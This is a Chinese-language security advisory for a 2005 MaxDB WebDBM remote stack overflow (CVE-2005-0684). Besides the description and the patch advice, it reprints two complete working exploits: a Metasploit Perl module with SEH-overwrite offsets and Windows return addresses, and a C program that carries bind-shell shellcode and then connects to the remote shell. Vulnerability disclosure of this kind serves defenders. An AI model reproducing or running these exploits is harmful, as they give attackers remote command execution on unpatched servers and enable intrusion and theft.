发布日期：2005-04-28
更新日期：2005-04-28

受影响系统：

MySQL AB MaxDB 7.5.00.23

不受影响系统：

MySQL AB MaxDB 7.5.00.26

描述：

---

BUGTRAQ  ID: 13368
CVE(CAN) ID: CVE-2005-0684

MySQL的MaxDB是SAP AG开放源码数据库SAP DB的增强版本，是对MySQL数据库服务器的补充。

MaxDB处理HTTP界面上的请求时存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞在系统上执行任意指令。

漏洞起因是没能正确地处理包含有百分号（％）的HTTP GET请求。如果攻击者能够发布指定了百分号的HTTP GET请求，而请求后有超长字符串做为文件参数，就可能发生栈溢出。攻击者必须发送大约4000字节的长度才能覆盖进程SEH。攻击者还可能覆盖程序保存的指令指针。

<*来源：iDEFENSE Labs （labs@idefense.com）
        H D Moore （hdm@metasploit.com）
  
  链接：http://www.idefense.com/application/poi/display?id=234&type=vulnerabilities&flashstatus=false
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

package Msf::Exploit::maxdb_webdbm_get_overflow;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
    'Name'  => 'MaxDB WebDBM GET Buffer Overflow',
    'Version'  => '$Revision: 1.1 $',
    'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003'],
    'Priv'  => 1,
    
    'UserOpts'  =>
    {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 9999],
    },

    'Payload' =>
    {
        'Space'     => 2052,
        'BadChars'  => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",
        'Prepend'   => "\x81\xc4\x54\xf2\xff\xff",    # add esp, -3500                    
        'Keys'        => ['+ws2ord'],
    },

    'Description'  => Pex::Text::Freeform(qq{
        This module exploits a stack overflow in the MaxDB WebDBM service.
    This service is included with many recent versions of the MaxDB and SAPDB
    products. This particular module is capable of exploiting Windows systems
    through the use of an SEH frame overwrite. The offset to the SEH frame
    may change depending on where MaxDB has been installed, this module assumes
    a web root path with the same length as:
    
    C:\\Program Files\\sdb\\programs\\web\\Documents
    }),

    'Refs'    =>    
    [
        ['URL', 'http://www.idefense.com/application/poi/display?id=234&type=vulnerabilities'],
    ],
    
    'DefaultTarget' => 0,
    'Targets' =>
    [
        ['MaxDB 7.5.00.11 / 7.5.00.24', 0x1002aa19 ], # wapi.dll
        ['Windows 2000 English',        0x75022ac4 ], # ws2help.dll
        ['Windows XP English SP0/SP1',  0x71aa32ad ], # ws2help.dll
        ['Windows 2003 English',        0x7ffc0638 ], # peb magic :-)
        ['Windows NT 4.0 SP4/SP5/SP6',  0x77681799 ], # ws2help.dll        
    ],
                
    'Keys' => ['maxdb'],
};

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

sub Check {
    my $self        = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    
    my $s = Msf::Socket::Tcp->new(
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
    );

    if ( $s->IsError ) {
        $self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
        return $self->CheckCode('Connect');
    }
    
    $s->Send("HEAD / HTTP/1.0\r\n\r\n");
    my $res = $s->Recv(-1, 5);
    $s->Close;
    
    if ($res =~ m/Server:\s*(SAP-Internet-SapDb-Server.*)$/m) {
        my $banner = $1;
        $banner =~ s/\r//g;
        
        $self->PrintLine("[*] WebDBM detected: $banner");
        return $self->CheckCode('Detected');
    }
    
    $self->PrintLine("[*] SAP/MaxDB WebDBM server was not detected");
    return $self->CheckCode('Safe');
}


sub Exploit {
    my $self        = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
    my $target      = $self->Targets->[$target_idx];

    $self->PrintLine( "[*] Attempting to exploit " . $target->[0] );

    my $s = Msf::Socket::Tcp->new(
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
    );

    if ( $s->IsError ) {
        $self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
        return;
    }

    # Trigger the SEH by writing past the end of the page after
    # the SEH is already overwritten. This avoids the other smashed
    # pointer exceptions and goes straight to the payload.
    my $path = Pex::Text::AlphaNumText(16384);
    
    substr($path, 1586, length($shellcode), $shellcode);
    substr($path, 3638, 5, "\xe9" . pack('V', -2052));
    substr($path, 3643, 2, "\xeb\xf9");
    substr($path, 3647, 4, pack('V', $target->[1]));
    
    $s->Send("GET /%$path HTTP/1.0\r\n\r\n");
    $s->Recv(-1, 5);        
    return;
}

1;


/*
* MySQL MaxDB Webtool Remote Stack Overflow Exploit
*
* cybertronic[at]gmx[dot]net
*
* 04/27/2005
* __ __ _
* _______ __/ /_ ___ _____/ /__________ ____ (_)____
* / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
* / /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__
* \___/\__, /_.___/\___/_/ \__/_/ \____/_/ /_/_/\___/
* /____/
*
* --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
* --[ select target
* --[ 0 [0x100163d2] esi ebp ret
* --[ 1 [0xdeadc0de] crash server
* >> 0
* --[ connecting to 192.168.2.103:9999...done!
* --[ sending packet [ 16383 bytes ]...done!
* --[ sleeping 5 seconds before connecting to 192.168.2.103:4444...
* --[ connecting to 192.168.2.103:4444...done!
* --[ b0x pwned - h4ve phun
* Microsoft Windows XP [Version 5.1.2600]
* (C) Copyright 1985-2001 Microsoft Corp.
*
* C:\WINDOWS\system32>
*
*/


#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 9999

#define RED "\E[31m\E[1m"
#define GREEN "\E[32m\E[1m"
#define YELLOW "\E[33m\E[1m"
#define BLUE "\E[34m\E[1m"
#define NORMAL "\E[m"

/*
*
* prototypes
*
*/

int exploit ( int s, unsigned long ret );
int isip ( char *ip );
int shell ( int s, char* tip, unsigned short cbport );

void connect_to_bindshell ( char* tip, unsigned short bport );
void header ();
void wait ( int sec );

/*********************
* Windows Shellcode *
*********************/

/* win32_bind */
unsigned char bindshell[] =
"\x31\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x92"
"\x35\x88\x95\x83\xeb\xfc\xe2\xf4\x6e\x5f\x63\xda\x7a\xcc\x77\x6a"
"\x6d\x55\x03\xf9\xb6\x11\x03\xd0\xae\xbe\xf4\x90\xea\x34\x67\x1e"
"\xdd\x2d\x03\xca\xb2\x34\x63\x76\xa2\x7c\x03\xa1\x19\x34\x66\xa4"
"\x52\xac\x24\x11\x52\x41\x8f\x54\x58\x38\x89\x57\x79\xc1\xb3\xc1"
"\xb6\x1d\xfd\x76\x19\x6a\xac\x94\x79\x53\x03\x99\xd9\xbe\xd7\x89"
"\x93\xde\x8b\xb9\x19\xbc\xe4\xb1\x8e\x54\x4b\xa4\x52\x51\x03\xd5"
"\xa2\xbe\xc8\x99\x19\x45\x94\x38\x19\x75\x80\xcb\xfa\xbb\xc6\x9b"
"\x7e\x65\x77\x43\xa3\xee\xee\xc6\xf4\x5d\xbb\xa7\xfa\x42\xfb\xa7"
"\xcd\x61\x77\x45\xfa\xfe\x65\x69\xa9\x65\x77\x43\xcd\xbc\x6d\xf3"
"\x13\xd8\x80\x97\xc7\x5f\x8a\x6a\x42\x5d\x51\x9c\x67\x98\xdf\x6a"
"\x44\x66\xdb\xc6\xc1\x66\xcb\xc6\xd1\x66\x77\x45\xf4\x5d\x99\xc9"
"\xf4\x66\x01\x74\x07\x5d\x2c\x8f\xe2\xf2\xdf\x6a\x44\x5f\x98\xc4"
"\xc7\xca\x58\xfd\x36\x98\xa6\x7c\xc5\xca\x5e\xc6\xc7\xca\x58\xfd"
"\x77\x7c\x0e\xdc\xc5\xca\x5e\xc5\xc6\x61\xdd\x6a\x42\xa6\xe0\x72"
"\xeb\xf3\xf1\xc2\x6d\xe3\xdd\x6a\x42\x53\xe2\xf1\xf4\x5d\xeb\xf8"
"\x1b\xd0\xe2\xc5\xcb\x1c\x44\x1c\x75\x5f\xcc\x1c\x70\x04\x48\x66"
"\x38\xcb\xca\xb8\x6c\x77\xa4\x06\x1f\x4f\xb0\x3e\x39\x9e\xe0\xe7"
"\x6c\x86\x9e\x6a\xe7\x71\x77\x43\xc9\x62\xda\xc4\xc3\x64\xe2\x94"
"\xc3\x64\xdd\xc4\x6d\xe5\xe0\x38\x4b\x30\x46\xc6\x6d\xe3\xe2\x6a"
"\x6d\x02\x77\x45\x19\x62\x74\x16\x56\x51\x77\x43\xc0\xca\x58\xfd"
"\x62\xbf\x8c\xca\xc1\xca\x5e\x6a\x42\x35\x88\x95";

unsigned char jmp1[] =
"\xeb\x08";

unsigned char jmp2[] =
"\xe9\xe2\xf7\xff\xff"; //jmp -2078

/*
*
* structures
*
*/

struct targets {
int num;
unsigned long ret;
char name[64];
}

target[]= {
{ 0, 0x100163d2, "WinXP Pro SP1 GER" },
//tested working on my WinXP Pro SP1 box [ pop pop ret in wapi.dll ]
{ 1, 0xdeadc0de, "crash server" },
};

/*
*
* functions
*
*/

int
exploit ( int s, unsigned long ret )
{
char buffer[16384];

bzero ( &buffer, sizeof ( buffer ) );
memset ( buffer, 0x90, sizeof ( buffer ) -13 );
strncpy ( buffer, "GET /%", 6 );
memcpy ( buffer + 1600, bindshell, sizeof ( bindshell ) - 1 );
memcpy ( buffer + 3657, jmp1, sizeof ( jmp1 ) -1 );
/*
*
* SEH offset changes for different binary path
* This exploits WinXP Pro SP1 GER asuming the
* default path of C:\Programme\sdb\programs\web\Documents
* englisch version is supported by metasploit
* http://www.metasploit.com/projects/Framework/modules
/exploits/maxdb_webdbm_get_overflow.pm
*
*/
strncpy ( buffer + 3661, ( unsigned char* ) &ret, 4 );
memcpy ( buffer + 3673, jmp2, sizeof ( jmp2 ) -1 );
strncat ( buffer, "HTTP/1.0\r\n\r\n", 12 );

printf ( "--[ sending packet [ %u bytes ]...", strlen ( buffer ) );
if ( write ( s, buffer, strlen ( buffer ) ) <= 0 )
{
printf ( RED "failed!\n" NORMAL);
return ( 1 );
}
printf ( YELLOW "done!\n" NORMAL);

return ( 0 );
}

int
isip ( char *ip )
{
int a, b, c, d;

if ( !sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d ) )
return ( 0 );
if ( a < 1 )
return ( 0 );
if ( a > 255 )
return 0;
if ( b < 0 )
return 0;
if ( b > 255 )
return 0;
if ( c < 0 )
return 0;
if ( c > 255 )
return 0;
if ( d < 0 )
return 0;
if ( d > 255 )
return 0;
return 1;
}

int
shell ( int s, char* tip, unsigned short cbport )
{
int n;
char buffer[2048];
fd_set fd_read;

printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n"
YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e "
NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" );

FD_ZERO ( &fd_read );
FD_SET ( s, &fd_read );
FD_SET ( 0, &fd_read );

while ( 1 )
{
FD_SET ( s, &fd_read );
FD_SET ( 0, &fd_read );

if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
break;
if ( FD_ISSET ( s, &fd_read ) )
{
if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
if ( write ( 1, buffer, n ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
}
if ( FD_ISSET ( 0, &fd_read ) )
{
if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
if ( send ( s, buffer, n, 0 ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
}
usleep(10);
}
}

void
connect_to_bindshell ( char* tip, unsigned short bport )
{
int s;
int sec = 5; // change this for fast targets
struct sockaddr_in remote_addr;
struct hostent *host_addr;

if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
{
fprintf ( stderr, "cannot resolve \"%s\"\n", tip );
exit ( 1 );
}

remote_addr.sin_family = AF_INET;
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
remote_addr.sin_port = htons ( bport );

if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "socket failed!\n" );
exit ( 1 );
}
printf ("--[ sleeping %d seconds before connecting to %s:%u...\n", sec, tip, bport );
wait ( sec );
printf ( "--[ connecting to %s:%u...", tip, bport );
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
{
printf ( RED "failed!\n" NORMAL);
exit ( 1 );
}
printf ( YELLOW "done!\n" NORMAL);
shell ( s, tip, bport );
}

void
header ()
{
printf ( " __ __ _ \n" );
printf ( " _______ __/ /_ ___ _____/ /__________ ____ (_)____ \n" );
printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/ \n" );
printf ( "/ /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ \n" );
printf ( "\\___/\\__, /_.___/\\___/_/ \\__/_/ \\____/_/ /_/_/\\___/ \n" );
printf ( " /____/ \n\n" );
printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" );
}

void
wait ( int sec )
{
sleep ( sec );
}

int
main ( int argc, char* argv[] )
{
int s, targ, i;
struct sockaddr_in remote_addr;
struct hostent* host_addr;

if ( argc != 2 )
{
printf ( "Usage: %s <ip>\n", argv[0] );
exit ( 1 );
}
system ( "clear" );
header ();
if ( !isip ( argv[1] ) )
{
printf ( "Invalid Target IP!\n" );
exit ( 1 );
}
printf("--[ select target\n");
for ( i = 0; i < 2; i++ )
printf ( "--[ %d [0x%08x] %s\n", target[i].num, target[i].ret, target[i].name );
printf ( " >> " );
scanf ( "%d", &targ );
if ( targ != 0 )
if ( targ != 1 )
{
printf ( "--[ invalid target!\n" );
exit ( 1 );
}
if ( ( host_addr = gethostbyname ( argv[1] ) ) == NULL )
{
fprintf ( stderr, "cannot resolve \"%s\"\n", argv[1] );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
remote_addr.sin_port = htons ( PORT );

if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "socket failed!\n" );
exit ( 1 );
}
printf ( "--[ connecting to %s:%u...", argv[1], PORT );
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
{
printf ( "failed!\n" );
exit ( 1 );
}
printf ( "done!\n" );
if ( exploit ( s, target[targ].ret ) == 1 )
{
printf ( "exploitation FAILED!\n" );
exit ( 1 );
}
close ( s );
connect_to_bindshell ( argv[1], 4444 );
}

建议：

---

临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

* 部署防火墙，访问控制列表或其他TCP/UDP限制机制，限制对管理系统和服务的访问。

厂商补丁：

MySQL AB
--------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载7.5.00.26版本：

http://dev.mysql.com/downloads/maxdb/7.5.00.html

iDEFENSE
--------
iDEFENSE已经为此发布了一个安全公告（iDEFENSE-234）以及相应补丁:
iDEFENSE-234：MySQL MaxDB Webtool Remote Stack Overflow Vulnerability
链接：http://www.idefense.com/application/poi/display?id=234&type=vulnerabilities&flashstatus=false

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